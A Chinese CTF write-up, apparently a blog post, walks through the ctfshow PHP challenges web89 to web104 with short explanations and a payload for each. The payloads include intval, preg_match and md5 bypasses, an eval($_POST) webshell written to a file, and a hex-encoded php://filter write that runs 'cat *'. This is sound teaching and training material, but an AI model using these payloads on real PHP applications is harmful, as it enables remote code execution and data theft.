目录
web89

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer(整数) 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
因为这里的主要是因为preg_match函数无法处理数组【这是他的一个漏洞,所以我们构建一个数组,num[ ]=后面可以随便填一些数字也可以不填,就可以直接出来。】
payload:num[]=0
web90

来了解一下intval:
语法
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
- $var:要转换成 integer 的数量值。
- $base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。
4476的16进制:0x117c
4476的8进制:010574
看本地运行的结果

就是说,如果第二个参数是0的话,会根据第一个参数输入的进制进行10进制转换
第一个就是16进制转10进制
第二个就是8进制转10进制
intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476a”)也等于4476
payload:num=4476a
payload2:num=010574
payload3:num=0x117c
web91

preg_match 函数用于执行一个正则表达式匹配
^ 表示匹配文本的起始位置
/i 表示匹配大小写
/m 表示多行匹配
(10条消息) 正则表达式中/g /i /m /e /x /s的用法_正则表达式/g_qq_39527503的博客-CSDN博客
解释一下上面两个if就是说多行之内要有php,一行之内不能有php
paylaod:cmd=%0aphp (%0a是换行的意思)
web92

和web90差不多,还有一种写法

可以看到4476e123是以科学计数法方式的,可以绕过第一个if判断,intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取,所以intval遇到4476e123会变成4476
paylaod:4476e123
web93
过滤了a-z用不了16进制和科学计数法了,用8进制
payload:010574
web94

这道题只需要注意一下 strpos函数是查找字符串首次出现的位置
第一个if是强等判断(即判断类型又判断内容)
第三个if的意思 传进来的字符串必须要有0,而且是不能以0开头
对于strpos()函数,我们可以利用换行(%0a)和空格进行绕过
payload1:?num=%0a010574
payload2:?num= 010574(前面加了空格,用 %20 + 都可以都是空格的意思)
payload3:?num=4476.0 (绕过强等判断)
payload4:?num=+4476.0
web95
过滤了. 用web94没用.的payload即可
web96

$_GET[u]是弱类型比较可以在前面加路径绕过比较,但是文件还是可以正常读取
payload:u=./flag.php
payload:u=/var/www/html/flag.php
web97

a要不等于b,但是md5要相等,可以用数组,MD5数组的话返回的是相同的值
payload:a[]=1&b[]=2
web98

其实就是看三元表达式(真2假3)
看下这4行的意思
//如果有get参数那么get=$_post否则get=flag
//如果get的flag变量等于flag那么get=cookie
//如果get的flag变量等于flag那么get=$_SERVER
//如果get的http_flag变量等于flag,那么输出 flag
中间的代码没有作用,因为我们不提交 flag 参数
利用第一行和第四行:先让get有参数让它为真,从而拿post数据
payload:get传参 ?1=1 (随便什么都可以)
post传参 HTTP_FLAG=flag
另一种:get传参让它拿post数据,post传入flag=flag拿cookie数据,cookie则传入第四行的判断
payload2:get传参 ?1=1 (随便什么都可以)
post传参 flag=flag (让它进入第二行的判断,拿cookie数据)
cookie传参 HTTP_FLAG=flag
web99

for循环里面的意思是取随机数1到36之间一个数,1到37之间一个数,1到38一个数,直到1到877,然后把每次拿到的随机数追加到allow数组里面
in_array判断allow数组里面是否有n参数,
看下我本地运行的一个结果,可以看到里面是字符串也可以判断成功的

payload:get传参 n=1.php
post传参 content=<?php eval($_POST[a]);?>
web100

is_numeric检测变量是否为数字或数字字符串
v0那一行:赋值的优先级要高于and,所以不用管v2 v3是不是数字,只会把v1赋值给v0
if匹配v2里面不能有;号,v3里面要有;号
payload:?v1=21&v2=var_dump($ctfshow)/*&v3=*/;
payload2:?v1=1&v2=eval($_POST[a])?>%23&v3=;
post的a变量直接rce
?>是为了闭合,%23是#,是为了注释后面的
web101

ReflectionClass
这个类的意思是说根据传进去的参数实例化ctfshow类或者别的类
传进去之后变成 new ReflectionClass('ctfshow')
payload:?v1=1&v2=echo new ReflectionClass&v3=;
web102

substr截取函数 从下标为2的位置截取到后面
call_user_func回调函数:调用v1函数,参数是$s
<?=`cat *`; base64加密后是PD89YGNhdCAqYDs,
16进制编码之后是 5044383959474e6864434171594473
hex2bin函数:把十六进制值转换为 ASCII 字符:(可以看到是可以把16进制还原回去)

使用hex2bin函数后可以直接转换成base64的结果,然后在用伪协议base64解码写入文件
payload:v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin
前面加的11是因为substr会从第三位开始截断,所以随便写都可以
也可以用下面这个加密base64在16进制之后也是全部是数字
<?php eval ( $_POST[ _ ] ) ;
995044397761484167494756325957776749436767494352665545395456467367587942644943417049447367
web103
解法同上
web104

payload:传两个相同的数进去即可
payload 2:用数组也可以绕过
payload 3:aaK1STfY 和 aaO8zKZF 的hash值是一样的

文章详细列举了一系列PHP函数的使用,如intval、preg_match、preg_match_all、explode等,同时讨论了如何利用这些函数的特性进行代码注入和安全漏洞的绕过,涉及到正则表达式、字符串处理和变量覆盖等多个方面。

2004

被折叠的 条评论
为什么被折叠?



